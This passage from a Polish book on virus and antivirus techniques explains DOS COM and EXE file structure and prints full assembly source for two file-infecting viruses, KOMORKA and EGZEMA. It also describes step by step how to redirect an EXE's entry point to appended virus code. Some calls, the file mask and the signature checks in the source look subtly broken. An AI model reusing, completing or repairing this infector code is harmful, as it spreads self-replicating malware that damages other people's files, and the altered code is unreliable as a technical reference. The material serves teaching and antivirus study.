Struktura zainfekowanego pliku COM -wirus przesuwa kod oryginalnego
programu
Zawartość pliku
Kod wirusa
Przesunięty kod zainfekowanego programu
Poniżej przedstawiono przykład prostego, nierezydentncgo wirusa infekującego pliki
COM.
;----------------------------------------------------------------
------------;
;
;
; Czesc ksiazki : "Nowoczesne techniki wirusowe i
antywirusowe" ;
;
;
; KOMORKA v1.0, Autor : Adam Blaszczyk 1997
;
;
;
; Prosty wirus nierezydentny plikow COM
;
; Infekuje pliki z atrybutem Archive, ReadOnly,
System, Hidden ;
; znajdujace sie w biezacym katalogu
;
;
;
; Kompilacja :
;
; TASM KOMORKA.ASM
;
; TLINK /t KOMORKA.OBJ
;
;
;
;----------------------------------------------------------------
------------;
KOMORKA SEGMENT
JUMPS
ASSUME CS:KOMORKA, DS:KOMORKA
ORG 100h
NUL = 00h ; \
LF = 0Ah ; \ stale znakow
CR = 0Dh ; / ASCII
DOLAR = '$' ; /
AtrReadOnly = 00000001b ; \
AtrHidden = 00000010b ; \
AtrSystem = 00000100b ; \ rozne stale
atrybutow
AtrVolumeID = 00001000b ; / pozycji katalogu
AtrDirectory = 00010000b ; /
AtrArchive = 00100000b ; /
Atrybut = AtrArchive + AtrReadOnly + AtrSystem + AtrHidden +
AtrVolumeID
; atrybut poszukiwanej
pozycji
; katalogu
VirusDlug = offset (VirusEnd-VirusStart)
; dlugosc kodu wirusa
VRok = 1998 ; \ data opisujaca
VMiesiac = 13 ; - pliki juz
zainfekowane
VDzien = 31 ; /
VZnacznik = (VRok-1980)*512+VMiesiac*32+VDzien
DTAStruc struc ; struktura DTA bufora
transmisji
; dyskowych uzywanych
przez
; funkcje 4E i 4F
DTAFill db 21 dup (?) ; nieistotna czesc
DTAAttr db ? ; atrybut znalezionej
pozycji
DTATime dw ? ; czas znalezionej
pozycji
DTADate dw ? ; data znalezionej
pozycji
DTASize dd ? ; dlugosc znalezionej
pozycji
DTAName db 13 dup (?) ; nazwa znalezionej
pozycji
DTAStruc ends
Start: ; tu zaczyna sie
program ofiary
db 0E9h,00h,00h ; symuluj rozkaz JMP
NEAR
; bedacy czescia
zarazonego
; programu
VirusStart: ; tu zaczyna sie kod
wirusa
mov si,word ptr ds:[101h] ; pobierz relatywny
ofset do miejsca
; w pamieci, gdzie
znajduje sie wirus
; wartosc ta to czesc
rozkazu JMP NEAR
; na poczatku, przy
pierwszym wywolaniu
; =0000h
mov al,byte ptr ds:[si+StareBajty] ; \ Przywroc
zapamietane 3 bajty
mov ds:[100h],al ; \ na poczatek
programu CS:100h
mov ax,word ptr ds:[si+StareBajty+1] ; / Podczas
pierwszego uruchomienia
mov ds:[101h],ax ; / jest to kod Int
20h
lea dx,[si][TeInformacja] ; podaj gdzie jest
tekst
Call Informacja ; spytaj o
uruchomienie wirusa
jnc Infekcja ; CF=1 oznacza nie
uruchamiaj
jmp BezInfekcji ; NIE - nie infekuj
Infekcja:
lea dx,[si][NoweDTA] ; miejsca gdzie bedzie
nowe DTA
mov ah,1Ah ; funkcja DOS - ustaw
nowe DTA
int 21h ; wywolaj funkcje DOS
lea dx,[si][MaskaCOM] ; maska poszukiwanych
plikow '*.COM'
mov cx,Atrybut ; podaj atrybut
poszukiwanej pozycii
mov ah,4Bh ; funkcja DOS - szukaj
pierwszej
; pozycji katalogu
int 21h ; wywolaj funkcje DOS
jc NieMaPlikuCOM ; gdy CF=1, to blad
KolejnyPlik:
cmp [si][NoweDTA.DTADate],VZnacznik ; czy znaleziony plik
jest juz
; zarazony ?
je SzukajNastepnyPlik ; tak = szukaj
nastepnego
mov ax,word ptr [si][NoweDTA.DTASize+2]
; pobierz starsza
czesc dlugosci
; pliku
or ax,ax ; czy plik krotszy niz
65536
jnz SzukajNastepnyPlik ; nie - szukaj
nastepnego
mov ax,word ptr [si][NoweDTA.DTASize]; pobierz dlugosc
pliku
cmp ax,64000 ; czy dlugosc <= 64000
ja SzukajNastepnyPlik ; nie - szukaj
nastepnego
cmp ax,3 ; czy dlugosc >= 3
jb SzukajNastepnyPlik ; nie - szukaj
nastepnego
sub ax,3 ; odejmij dlugosc
skoku E9 ?? ??
mov word ptr [si][Skok+1],ax ; zapisz do bufora
rozkaz skoku
mov cx,AtrArchive ; podaj nowy atrybut :
Archive
lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do
zmiany
mov ax,4301h ; funkcja DOS - zmien
atrybut
int 21h ; wywolaj funkcje DOS
jc PrzywrocAtrybut ; gdy CF=1 to blad
lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do
odczytu
mov ax,3D02h ; funkcja DOS - otworz
plik
; do odczytu i zapisu
int 21h ; wywolaj funkcje DOS
jc PrzywrocAtrybut ; gdy CF=1, to blad
xchg ax,bx ; przenies uchwyt
pliku do BX
mov cx,3 ; ilosc czytanych
bajtow
lea dx,[si+StareBajty] ; podaj dokad czytac 3
bajty
mov ah,3Fh ; funkcja DOS - czytaj
z pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
mov ax,word ptr [si+StareBajty] ; wez dwa pierwsze
bajty pliku
cmp ax,'MZ' ; i sprawdz czy to nie
EXE
je ZamknijPlik ; gdy 'MZ', to plik
EXE, powrot
cmp ax,'ZM' ;
je ZamknijPlik ; gdy 'ZM', to plik
EXE, powrot
xor cx,cx ; \ zeruj CX:DX
zawierajace
xor dx,dx ; / adres wzgledem
konca pliku
mov ax,4202h ; funkcja DOS - zmien
wskaznik
; odczytu/zapisu na
koniec pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
mov cx,VirusDlug ; ilosc zapisanych
bajtow
lea dx,[si+103h] ; podaj skad zapisac
wirusa
mov ah,30h ; funkcja DOS - zapisz
do pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
xor cx,cx ; \ zeruj CX:DX
zawierajace
xor dx,dx ; / adres wzgledem
poczatku pliku
mov ax,4200h ; funkcja DOS - zmien
wskaznik
; odczytu/zapisu na
poczatek pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
mov cx,3 ; ilosc zapisanych
bajtow
lea dx,[si][Skok] ; podaj skad zapisac
rozkaz skoku
mov ah,30h ; funkcja DOS - zapisz
do pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
mov cx,[si][NoweDTA.DTATime] ; przywroc czas z
bufora DTA
mov dx,VZnacznik ; zaznacz infekcje
pliku
mov ax,5701h ; funkcja DOS - wpisz
date,czas
int 21h ; wywolaj funkcje DOS
ZamknijPlik:
mov ah,3Eh ; funkcja DOS -
zamknij plik
int 21h ; wywolaj funkcje DOS
PrzywrocAtrybut:
mov cl,[si][NoweDTA.DTAAttr] ; podaj stary atrybut,
CH=0
lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do
zmiany
mov ax,4301h ; funkcja DOS - zmien
atrybut
int 21h
SzukajNastepnyPlik: ; poprzedni plik byl
zarazony
mov ah,4Fh ; funkcja DOS - szukaj
innego
; plik COM
int 21h ; wywolaj funkcje DOS
jnc KolejnyPlik ; gdy CF=1, to blad
NieMaPlikuCOM:
mov dx,80h ; przywroc pierwotne
DTA=PSP:80h
mov ah,1Ah ; funkcja DOS - ustaw
nowe DTA
int 21h ; wywolaj funkcje DOS
BezInfekcji:
mov ax,100h ; \ skocz na poczatek
programu
jmp ax ; / do ofiary
MaskaCOM db '*.COM' ; maska plikow COM
(ASCIIZ)
StareBajty db 0CDh,20h,90h ; bufor zawiera
zapamietane bajty
; z poczatku programu
; tu : kod rozkazu int
20h/NOP
Skok db 0E9h,?,? ; rozkaz skoku
; Czesc Informayjna
Informacja:
mov ah,09h ; funkcja DOS -
wyswietl tekst$
int 21h ; wywolaj funkcje DOS
mov ah,01h ; funkcja DOS - czytaj
znak
; ze standardowego
wejscia
int 21h ; wywolaj funkcje DOS
; AL zawiera znak
push ax ; zapamietaj na chwile
znak
mov ax,0E0Dh ; \ przejdz
int 10h ; \ do
mov ax,0E0Ah ; / nastepnej
int 10h ; / linii
pop ax ; przywroc znak
and al,11011111b ; konwertuj znak na
wielka litere
cmp al,'T' ; czy potwierdzona
infekcja
clc ; ustaw flage na TAK
je CLCRet ; TAK i powrot
stc ; ustaw flage na NIE i
powrot
CLCRet:
ret ; powrot
TeInformacja db CR,LF,'KOMORKA v1.0, Autor : Adam Blaszczyk 1997'
db CR,LF
db CR,LF,'Czy chcesz uruchomic wirusa (T/N) ?'
db DOLAR
VirusEnd:
NoweDTA DTAStruc <?,?,?,?,?,?>
KOMORKA ENDS
END Start
4.1.2. Pliki wykonywalne EXE
Poprzednio omówione pliki COM przeważały w początkowym okresie istnienia systemu
DOS, lecz szybko zostały wyparte przez pliki EXE, które oferowały możliwość pisania
programów mieszczących się w kilku segmentach.
Zarażanie plików EXE jest sprawą o wiele trudniejszą od infekcji plików COM ze
względu na ich bardziej skomplikowaną budowę, a także na konieczność wykrywania
systemu, dla którego plik jest przeznaczony. Pliki EXE dzielą się bowiem na tzw. stare
(ang. old executab-les) i nowe (ang. new executables). Pierwsze z nich przeznaczone
są tylko i wyłącznie dla systemu DOS, natomiast drugie to programy działające w
środowiskach wykorzystujących tryb chroniony. Jak pokazano dalej, na podstawie
danych zawartych w pliku EXE można wykryć system, dla którego jest on przeznaczony
i w rezultacie plik taki zainfekować.
4.1.2.1. Pliki EXE dla systemu DOS (stare EXE)
Jak już wspomniano, pliki COM mogły zawierać w swym wnętrzu tylko jeden segment,
wspólny dla kodu, danych i stosu. W przeciwieństwie do nich pliki EXE mogą zawierać
programy, których rozmiary ograniczone są tylko przez wielkość dostępnej aktualnie
pamięci operacyjnej, znajdującej się poniżej pierwszych 640kB. Najczęściej w
programach tych jest kilka segmentów kodu i danych, a także
osobny segment stosu. Ze względu na bardziej skomplikowaną strukturę, do
załadowania programów EXE system DOS potrzebuje więcei informacji, niż w
przypadku plików COM. Informacje zawarte są w istniejącym na początku każdego pliku
EXE nagłówku, który składa sie z dwóch części: sformatowanej i niesformatowanej.
Długość sformatowanej części nagłówka jest stała i wynosi 27 bajtów, natomiast długość
części niesformatowanej oblicza się na podstawie danych zawartych w nagłówku
sformatowanym. W skrajnym przypadku długość części niesrormatowanej może być
równa O, co często ma miejsce, gdy programy są wewnętrznie skompresowane i
zminimalizowane. Opis sformatowanej części nagłówka podano poniżej.
Sformatowany nagłówek pliku EXE
00-01
Znacznik pliku EXE. MZ lub ZM
02-03
Liczba bajtów na ostatniej, 512
bajtowej, stronie programu, W praktyce
oznacza, ile bajtów system DOS musi
skopiować z ostatniego sektora
zajmowanego przez program.
04-05
Długość całego pliku EXE, podana w 512-
bajtowych stronach z uwzględnieniem
nagłówka i ostatniej strony opisanej w
polach 02h-03h. W praktyce oznacza ilość
sektorów zajmowanych przez program,
06-07
Liczba elementów relokowalnych w
programie, czyli liczba 4-bajtowych
rekordów, znajdujących siew
niesformatowanej części nagłówka,
opisujących miejsca w kodzie programu
(jako segment: przesunięcie; w każdym
rekordzie przesunięcie znajduje się przed
segmentem), gdzie należy dodać segment,
pod który ładowany jest program
08-09
Długość nagłówka w 16-bajtowych
paragrafach
0A-0B
Minimalna wymagana pamięć poza
załadowanym kodem programu, podana w
16-bajtowych paragrafach
0C-0D
Maksymalna wymagana pamięć poza
załadowanym kodem programu, podana w
16-bajtowych paragrafach
0E-0F
Początkowa wartość rejestru
segmentowego stosu (SS) względem
początku programu.
10-11
Początkowa wartość wskaźnika stosu (SP)
12-13
Suma kontrolna (zanegowana suma
wszystkich bajtów w pliku), nie używana
przez DOS, stąd pole to może posłużyć
jako wskaźnik zainfekowania pliku
14-15
Początkowa wartość licznika rozkazów IP
16-17
Początkowa wartość rejestru segmentu
kodu CS względem początku programu.
18-19
Adres pierwszej pozycji tablicy relokacji w
stosunku do początku pliku. Jeżeli pole jest
równe 40h lub więcej, jest to
prawdopodobnie nowy plik EXE
1A-1B
Numer nakładki
Informacje zawarte w nagłówku pliku EXE zawierają wymagania programu dotyczące
pamięci operacyjnej oraz ustalają początkowe wartości rejestrów SS i SP,
odpowiedzialnych za stos, a także rejestrów CS i IP, wskazujących na pierwszą
instrukcję programu.
Dopiero po nagłówkach pojawia się właściwy kod programu, a za nim, na końcu
niektórych plików EXE przeznaczonych dla systemu DOS, znajduje się często tzw.
wewnętrzna nakładka (ang. internal overlay), zawierająca dodatkowe dane lub kod
programu. Wykorzystując fakt, iż znakomita większość istniejących wirusów nie zaraża
plików EXE z wewnętrznymi nakładkami, można dość prosto zabezpieczyć wszystkie
pliki EXE na dysku przed ewentualną infekcją. Wystarczy na końcu każdego z tych
plików dopisać jeden dowolny bajt, który przez większość wirusów będzie uznawany za
wewnętrzną nakładkę.
Dopiero po odczytaniu i zinterpretowaniu danych z nagłówka system może przystąpić do
ładowania właściwego programu, zawartego w pliku EXE, który umieszczany jest
bezpośrednio za blokiem PSP. Z powyższego wynika, iż w przeciwieństwie do programu
COM obraz programu EXE wygląda inaczej w pamięci niż na dysku.
Po wczytaniu programu do wartości początkowych rejestrów CS i SS (zawartych w
nagłówku sformatowanym) dodawany jest adres segmentu, pod który został on
załadowany. Adres tego segmentu służy także do zmodyfikowania pewnych instrukcji w
programie, które są zależne od jego faktycznego umiejscowienia w pamięci operacyjnej
(są to np. rozkazy wywołań dalekich procedur i skoków oraz operacje na segmentach
występujących w programie). Adresy w pamięci, które trzeba w ten sposób
zmodyfikować, zawarte są w tablicy relokacji.
Pierwszą czynnością wykonywaną przez wirusa powinno być odczytanie
sformatowanego nagłówka pliku potencjalnej ofiary i porównanie dwóch pierwszych
bajtów programu (znacznik z pola 00h-0lh) z sekwencją 'MZ' lub 'ZM'. Jeżeli porównanie
wypadło pomyślnie, istnieje duża szansa, iż jest to plik typu EXE i można go spróbować
zainfekować. Drugą czynnością wykonywaną przez wirusa powinno być sprawdzenie,
czy plik EXE jest programem przeznaczonym dla systemu DOS. Na pozycji 18h-19h w
nagłówku widnieje wtedy wartość mniejsza od 40h, w przeciwnym wypadku jest to
prawdopodobnie nowy EXE. Kolejnym krokiem wykonywanym przez wirusa powinno
być sprawdzenie, czy plik EXE nie zawiera wewnętrznej nakładki. Dokonuje się tego
poprzez porównanie długości całego pliku EXE (widzianej przez DOS) z długością
obliczaną na podstawie pól zawartych w nagłówku (pola 02h-03h i U4h-05h). Jeżeli
wartości te różnią się od siebie, plik zawiera nakładkę. Taki plik także można
zainfekować, jednak wiąże się to z koniecznością przesunięcia w nim całej nakładki o
długość wirusa, tak aby ten mógł umieścić swój kod bezpośrednio za obrazem
ładowanym przez DOS do pamięci. Podczas uruchamiania programu EXE nakładka nie
jest ładowana do pamięci bezpośrednio z programem, tak więc gdyby wirus znajdował
się w pliku bezpośrednio za nią, także nie zostałby załadowany i w efekcie program by
się zawieszał. Zarażone programy z wewnętrzną nakładką często nie będą działały
poprawnie, zwłaszcza jeśli korzystając z nakładki nie obliczają adresów w pliku na
bieżąco (tzn. na podstawie pól nagłówka), lecz korzystają z wartości stałych. Powyższe
problemy sprawiają, iż większość wirusów zaprzestaje infekcji po wykryciu, iż plik EXE
zawiera nakładkę i dzięki temu można zastosować opisaną wcześniej sztuczkę z 1-
bajtową pseudonakładką. Infekcja pliku EXE bez wewnętrznej nakładki polega na
odpowiedniej modyfikacji sformatowanej części nagłówka, tak by początkowe wartości
rejestrów CS:IP (zawartych w polach 16h-17h i 14h-15h w nagłówku) wskazywały na
wirusa, który zwykle dopisywany jest na końcu pliku. Najczęściej zmieniane są także
początkowe wartości SS i SP (pola 10-llh i 0Eh-0Fh w nagłówku), ażeby nie okazało się,
iż po uruchomieniu stos ustawiony jest na kod wirusa. Warto także zmodyfikować
parametry minimalnej i maksymalnej pamięci wymaganej przez program, tak aby
uwzględniały długość kodu wirusa. Prawdziwe wartości zmienianych parametrów trzeba
wcześniej zapamiętać, żeby wirus po uruchomieniu mógł przekazać sterowanie do
oryginalnego programu.
Inny sposób na przejęcie kontroli nad zainfekowanym programem po jego uruchomieniu
polega na odnalezieniu w pliku zawierającym jego kod (np. przy pomocy łatwo dostępnej
tablicy relokacji) wywołań dalekich procedur (najczęściej będących funkcjami
bibliotecznymi) o 5 bajtowym kodzie 9A OO OO SS SS, gdzie SSSS:OOOO oznacza
adres, pod którym znajduje się wywoływana procedura (SS SS oznacza segment, a OO
OO - przesunięcie). Inicjując program, DOS dodaje do ustalonej, zawartej w pliku
wartości SS SS adres, pod który został załadowany program. Zmieniając w pliku
wartość SS SS:OO OO tak, by wskazywał on na wirusa, można ominąć konieczność
modyfikacji pól 16h-17h i 14h-15h w nagłówku i przy okazji utrudnić odnalezienie wirusa
w pliku. Tego typu wirus uruchomi się dopiero po próbie wywołania dalekiej procedury,
co może zdarzyć się w dowolnym momencie programu (a nie od razu na początku).
Typowy wygląd starego pliku EXE przed i po infekcji przedstawiony został w poniższych
tabelach.
Struktura niezainfekowanego pliku EXE
Zawartość pliku
Sformatowany nagłówek pliku EXE zaczynający się literami 'MZ' lub 'ZM'
Niesformatowany nagłówek pliku EXE zawierający tablicę relokacji i ewentualnie jakieś
dane, np. nazwisko autora, nazwę programu
Właściwy kod programu
Ewentualna nakładka
Struktura zainfekowanego pliku EXE
Zawartość pliku
Sformatowany nagłówek pliku EXE zaczynający się literami ‘MZ’ lub ‘ZM' z
wprowadzonymi przez wirusa zmianami
Niesformatowany nagłówek pliku EXE zawierający tablicę relokacji i ewentualnie jakieś
dane, np. nazwisko autora, nazwę programu
Właściwy kod programu
Kod wirusa
Ewentualna nakładka; występuje bardzo rzadko, gdyż większość wirusów nie zaraża
plików z wewnętrznymi nakładkami
Ponizej przedstawiono przyklad prostego nierezydetnego wirusa infekujacego pliki EXE.
;----------------------------------------------------------------
------------;
;
;
; Czesc ksiazki : "Nowoczesne techniki wirusowe i
antywirusowe" ;
;
;
; EGZEMA v1.0, Autor : Adam Blaszczyk 1997
;
;
;
; Prosty wirus nierezydentny plikow EXE
;
; Infekuje pliki z atrybutem Archive, ReadOnly,
System, Hidden ;
; znajdujace sie w biezacym katalogu
;
;
;
; Kompilacja :
;
; TASM EGZEMA.ASM
;
; TLINK EGZEMA.OBJ
;
;
;
;----------------------------------------------------------------
------------;
EGZEMA SEGMENT
JUMPS
ASSUME CS:EGZEMA, DS:EGZEMA
NUL = 00h ; \
LF = 0Ah ; \ stale znakow
CR = 0Dh ; / ASCII
DOLAR = '$' ; /
AtrReadOnly = 00000001b ; \
AtrHidden = 00000010b ; \
AtrSystem = 00000100b ; \ rozne stale
atrybutow
AtrVolumeID = 00001000b ; / pozycji katalogu
AtrDirectory = 00010000b ; /
AtrArchive = 00100000b ; /
Atrybut = AtrArchive + AtrReadOnly + AtrSystem + AtrHidden +
AtrDirectory
; atrybut poszukiwanej
pozycji
; katalogu
VirusDlug = offset (VirusEnd-VirusStart)
; dlugosc kodu wirusa
VRok = 1998 ; \ data opisujaca
VMiesiac = 13 ; - pliki juz
zainfekowane
VDzien = 31 ; /
VZnacznik = (VRok-1980)*512+VMiesiac*32+VDzien
DTAStruc struc ; struktura DTA bufora
transmisji
; dyskowych uzywanych
przez
; funkcje 4E i 4F
DTAFill db 21 dup (?) ; nieistotna czesc
DTAAttr db ? ; atrybut znalezionej
pozycji
DTATime dw ? ; czas znalezionej
pozycji
DTADate dw ? ; data znalezionej
pozycji
DTASize dd ? ; dlugosc znalezionej
pozycji
DTAName db 13 dup (?) ; nazwa znalezionej
pozycji
DTAStruc ends
VirusStart: ; tu zaczyna sie kod
wirusa
Call Trik ; \
Trik: ; \
pop si ; / oblicz relatywny
ofset
sub si,3 ; /
push cs ; \ DS=CS=kod wirusa
pop ds ; /
mov ax,es ; \ es=PSP+10h
add ax,10h ; /
add [si][StarySS],ax ; \
push [si][StarySS] ; - zachowaj wartosci
stosu
push [si][StarySP] ; / dla nosiciela
add ax,[si][StaryCS] ; \
mov [si][SkokCS],ax ; \ utworz pelny
rozkaz skoku
mov ax,[si][StaryIP] ; / do nosiciela
mov [si][SkokIP],ax ; /
lea dx,[si][TeInformacja] ; podaj gdzie jest
tekst
Call Informacja ; spytaj o
uruchomienie wirusa
jnc Infekcja ; CF=1 oznacza nie
uruchamiaj
jmp BezInfekcji ; NIE - nie infekuj
Infekcja:
lea dx,[si][NoweDTA] ; miejsca gdzie bedzie
nowe DTA
mov ah,1Ah ; funkcja DOS - ustaw
nowe DTA
int 21h ; wywolaj funkcje DOS
lea dx,[si][MaskaEXE] ; maska poszukiwanych
plikow '*.EXE'
mov cx,Atrybut ; podaj atrybut
poszukiwanej pozycii
mov ah,4Eh ; funkcja DOS - szukaj
pierwszej
; pozycji katalogu
int 21h ; wywolaj funkcje DOS
jc BezInfekcji ; gdy CF=1, to blad
KolejnyPlik:
cmp [si][NoweDTA.DTADate],VZnacznik ; czy znaleziony plik
jest juz
; zarazony ?
je SzukajNastepnyPlik ; tak = szukaj
nastepny
cmp word ptr [si][NoweDTA.DTASize],26; czy dlugosc>=26
bajtow ?
jb SzukajNastepnyPlik ; nie = szukaj
nastepny
mov cx,AtrArchive ; podaj nowy atrybut :
Archive
lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do
zmiany
mov ax,4301h ; funkcja DOS - zmien
atrybut
int 21h ; wywolaj funkcje DOS
jc PrzywrocAtrybut ; gdy CF=1, to blad
lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do
odczytu
mov ax,3D02h ; funkcja DOS - otworz
plik
; do odczytu i zapisu
int 21h ; wywolaj funkcje DOS
jc PrzywrocAtrybut ; gdy CF=1, to blad
xchg ax,bx ; przenies uchwyt
pliku do BX
mov cx,26 ; ilosc czytanych
bajtow
lea dx,[si][Naglowek] ; podaj dokad czytac
26 bajty
mov ah,3Fh ; funkcja DOS - czytaj
z pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
mov ax,word ptr [si][Naglowek] ; wez dwa pierwsze
bajty pliku
cmp ax,'mz' ; i sprawdz, czy to
EXE
je JestEXE ; gdy 'MZ', to plik
EXE
cmp ax,'zm' ;
jne ZamknijPlik ; gdy 'ZM', to plik
EXE
JestEXE:
cmp word ptr [si][Naglowek+18h],40h ; czy plik Nowy EXE ?
; (pominiete zostana
takze
; niektore pliki EXE
z ustawionym
; adresem tablicy
relokacji > 40h)
jae ZamknijPlik ; TAK - szukaj
nastepny
mov ax,word ptr [si][Naglowek+14h] ; \ zachowaj stare CS
i IP
mov [si][StaryIP],ax ; \ z pliku
mov ax,word ptr [si][Naglowek+16h] ; /
mov [si][StaryCS],ax ; /
mov ax,word ptr [si][Naglowek+10h] ; \ zachowaj stare SS
i SP
mov [si][StarySP],ax ; \ z pliku
mov ax,word ptr [si][Naglowek+0Eh] ; /
mov [si][StarySS],ax ; /
mov ax,word ptr [si][Naglowek+08h] ; \ wez dlugosc
naglowka w
mov cx,16 ; - paragrafach i
oblicz
mul cx ; / jego dlugosc w
bajtach
mov bp,ax ; \ zachowaj dlugosc
na pozniej
mov di,dx ; /
mov ax,word ptr [si][Naglowek+04h] ; wez ilosc stron
cmp word ptr [si][Naglowek+02h],0 ; czy ilosc bajtow na
ostatniej stronie=0
jz NieZmniejszaj ; TAK - nie zmniejszaj
ilosci stron
cmp ax,0 ; czy ilosc stron=0 ?
jz NieZmniejszaj ; TAK - nie zmniejszaj
ilosci stron
dec ax ; NIE zmniejsz ilsoc
stron o jedna
NieZmniejszaj:
mov word ptr [si][Naglowek+04h],ax ; zapisz na pozniej
mov cx,512 ; wez dlugosc obrazu
programu w stronach
mul cx ; i oblicz jego
dlugosc w bajtach
add ax,word ptr [si][Naglowek+02h] ; dodaj ilosc bajtow
na ostatniej stronie
adc dx,0 ; dodaj ewentualne
przeniesienie
cmp ax,word ptr [si][NoweDTA.DTASize]
; \ czy rozmiar
obrazu z naglowka
jne ZamknijPlik ; \ jest rowny
dlugosci pliku ?
cmp dx,word ptr [si][NoweDTA.DTASize+2]
; / TAK - infekuj
jne ZamknijPlik ; / NIE -
prawdopodobnie nakladka
sub ax,bp ; \ odejmij od
dlugosci pliku
sbb dx,di ; / dlugosc naglowka
; ax,dx=dlugosc kodu
programu
mov cx,16 ; oblicz nowe CS i SP
div cx ; dla programu
mov word ptr [si][Naglowek+14h],dx ; zachowaj nowe IP
mov word ptr [si][Naglowek+16h],ax ; zachowaj nowe CS
add dx,100h+VirusDlug ; stos bedzie za
wirusem
and dl,11111110b ; SP - najczesciej
jest parzysty
mov word ptr [si][Naglowek+10h],dx ; zachowaj nowe SP
mov word ptr [si][Naglowek+0Eh],ax ; zachowaj nowe SS
mov ax,word ptr [si][Naglowek+02h] ; \
add ax,VirusDlug ; \
cwd ; \
mov cx,512 ; \
div cx ; \
add word ptr [si][Naglowek+04h],ax ; - zmien dlugosc
obrazu
mov word ptr [si][Naglowek+02h],dx ; / w naglowku
pliku EXE
or dx,dx ; /
jz NieDodawaj ; /
inc word ptr [si][Naglowek+04h] ; /
NieDodawaj: ; /
xor cx,cx ; \ zeruj CX:DX
zawierajace
xor dx,dx ; / adres wzgledem
konca pliku
mov ax,4202h ; funkcja DOS - zmien
wskaznik
; odczytu/zapisu na
koniec pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
mov cx,VirusDlug ; ilosc zapisywanych
bajtow
mov dx,si ; podaj skad zapisac
wirusa
mov ah,30h ; funkcja DOS - zapisz
do pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
xor cx,cx ; \ zeruj CX:DX
zawierajace
xor dx,dx ; / adres wzgledem
poczatku pliku
mov ax,4200h ; funkcja DOS - zmien
wskaznik
; odczytu/zapisu na
poczatek pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
mov cx,26 ; ilosc zapisywanych
bajtow
lea dx,[si][Naglowek] ; podaj skad zapisac
nowy naglowek
mov ah,30h ; funkcja DOS - zapisz
do pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
mov cx,[si][NoweDTA.DTATime] ; przywroc czas z
bufora DTA
mov dx,VZnacznik ; zaznacz infekcje
pliku
mov ax,5701h ; funkcja DOS - wpisz
date, czas
int 21h ; wywolaj funkcje DOS
ZamknijPlik:
mov ah,3Eh ; funkcja DOS -
zamknij plik
int 21h ; wywolaj funkcje DOS
PrzywrocAtrybut:
mov cl,[si][NoweDTA.DTAAttr] ; podaj stary atrybut
mov ch,0 ; CX=CL
lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do
zmiany
mov ax,4301h ; funkcja DOS - zmien
atrybut
int 21h
SzukajNastepnyPlik: ; poprzedni plik byl
zarazony
mov ah,4Fh ; funkcja DOS - szukaj
innego
; pliku EXE
int 21h ; wywolaj funkcje DOS
jnc KolejnyPlik ; gdy CF=1, to blad
BezInfekcji:
push es ; \ es=ds=PSP
pop ds ; /
mov dx,80h ; przywroc pierwotne
DTA=PSP:80h
mov ah,1Ah ; funkcja DOS - ustaw
nowe DTA
int 21h ; wywolaj funkcje DOS
pop ax ; \ zdejmij ze stosu
wartosci
pop dx ; / SS i SP nosiciela
mov ss,dx ; \ i umiesc te
wartosci w
mov sp,ax ; / SS i SP
db 0EAh ; powroc do nosiciela
SkokIP dw ? ; \ czesc skoku JMP
FAR
SkokCS dw ? ; /
MaskaEXE db '*.EGZE' ; maska plikow EXE
(ASCIIZ)
Naglowek db 26 dup(?) ; bufor zawiera
zapamietane bajty
; z poczatku programu
; tu : kod rozkazu int
20h/NOP
; Czesc Informayjna
Informacja:
mov ah,09h ; funkcja DOS -
wyswietl tekst$
int 21h ; wywolaj funkcje DOS
mov ah,01h ; funkcja DOS - czytaj
znak
; ze standardowego
wejscia
int 21h ; wywolaj funkcje DOS
; AL zawiera znak
push ax ; zapamietaj na chwile
znak
mov ax,0E0Dh ; \ przejdz
int 10h ; \ do
mov ax,0E0Ah ; / nastepnej
int 10h ; / linii
pop ax ; przywroc znak
and al,11011111b ; konwertuj znak na
wielka litere
cmp al,'T' ; czy potwierdzona
infekcja ?
clc ; ustaw flage na TAK
je CLCRet ; TAK i powrot
stc ; ustaw flage na NIE i
powrot
CLCRet:
ret ; powrot
TeInformacja db CR,LF,'EGZEMA v1.0, Autor : Adam Blaszczyk 1997'
db CR,LF
db CR,LF,'Czy chcesz uruchomic wirusa (T/N) ?'
db DOLAR
StaryCS dw 0
StaryIP dw offset Nosiciel
StarySS dw 0
StarySP dw offset Nosiciel+100h
VirusEnd:
NoweDTA DTAStruc <?,?,?,?,?,?>
Nosiciel:
mov ax,4C00h
int 21h
EGZEMA ENDS
END VirusStart
4.1.2.2. Pliki EXE dla trybu chronionego (nowe EXE)
Duża część istniejących obecnie plików EXE to tzw. nowe EXE. Mają one inną budowę
niż pliki przeznaczone dla systemu DOS. Na ich początku znajduje się krótki programik
działający w systemie DOS, tzw. STUB, mający za zadanie bądź wyświetlenie
komunikatu, iż plik zawiera program nie działający w systemie DOS, bądź też próbę
uruchomienia zawartego w pliku właściwego programu dla trybu chronionego pod
kontrolą odpowiedniego dla niego środowiska, najczęściej używającego trybu
chronionego, np. WINDOWS, DOS4GW. Nawiasem mówiąc, fakt istnienia programu
STUB stwarza możliwość napisania programu działającego równocześnie pod dwoma
systemami, np. pod DOS i WIN-DOWS. To, który z programów byłby wykonywany
byłoby zależne od systemu, pod którym byśmy aktualnie pracowali. Program dla DOS-a
pełniłby tu rolę programu STUB.
Po programie STUB znajduje się właściwy program przeznaczony dla trybu
chronionego, posiadający, podobnie jak programy dla DOS, odpowiednio sformatowany
nagłówek. Różne systemy mają różną strukturę tego nagłówka, tak więc infekcja takich
